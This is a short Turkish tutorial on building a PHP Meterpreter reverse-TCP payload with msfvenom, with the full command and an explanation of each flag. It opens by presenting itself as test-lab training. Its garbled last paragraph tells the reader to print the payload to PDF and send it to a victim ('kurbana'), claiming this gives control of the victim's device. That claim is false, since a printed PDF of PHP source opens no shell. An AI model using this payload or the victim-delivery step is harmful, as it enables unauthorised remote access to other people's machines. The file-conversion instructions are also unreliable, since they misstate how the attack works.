Metasploit ve Meterpreter
Gereksinimler
Windows işletim sistemi
Metasploit Framework
1. Payload oluşturma
Metasploit içerisinde msfvenom, farklı platformlar için test amaçlı payload'lar oluşturmak amacıyla kullanılan bir araçtır. Eğitim ortamında oluşturulan payload, yalnızca kontrolünüzdeki test makinesinde kullanılmalıdır.
Örneğin PHP tabanlı bir Meterpreter payload'ı oluştururken LHOST, bağlantının yapılacağı test makinesinin IP adresini; LPORT ise kullanılacak test portunu ifade eder.
msfvenom -p php/meterpreter_reverse_tcp LHOST=TEST_IP LPORT=TEST_PORT -f raw > payload.php
Burada:
-p → kullanılacak payload türünü belirtir.
LHOST → test ortamındaki bağlantı adresini belirtir.
LPORT → bağlantının kullanılacağı porttur.
-f raw → çıktının ham formatta oluşturulmasını sağlar.
> payload.php → oluşturulan çıktıyı payload.php dosyasına kaydeder.
2. Dosyanın incelenmesi
Oluşturulan dosya bir metin/kod düzenleyicisinde açılarak içeriği incelenebilir. Bu aşamada amaç, payload'ın nasıl göründüğünü ve kullanılan PHP kodunun yapısını öğrenmektir.
3. PDF oluşturma
Dosyanın PDF'e dönüştürülmesi gibi işlemler ayrıca incelenebilir. Windows üzerinde uygun bir yazdırma yöntemi kullanılarak içerik PDF olarak kaydedilebilir.
yazalım ardından payloadımızı bir kod düzenleyicide veya tarayıcıda açalım, ardından “Dosya” ve “Yazdır”ı tıklayalım. Yazıcınız olarak “Microsoft Print to PDF”yi seçelim ve ardından “Yazdır”a tıklayalım. PDF dosyamız için bir ad yazın ve PDF'yi istediğiniz konuma kaydedilim ardından dosyayı kurbana yollayalım eğer karşı taraf dosyayı açarsa cihazında meterpreter komutlarını kullanabilirsiniz.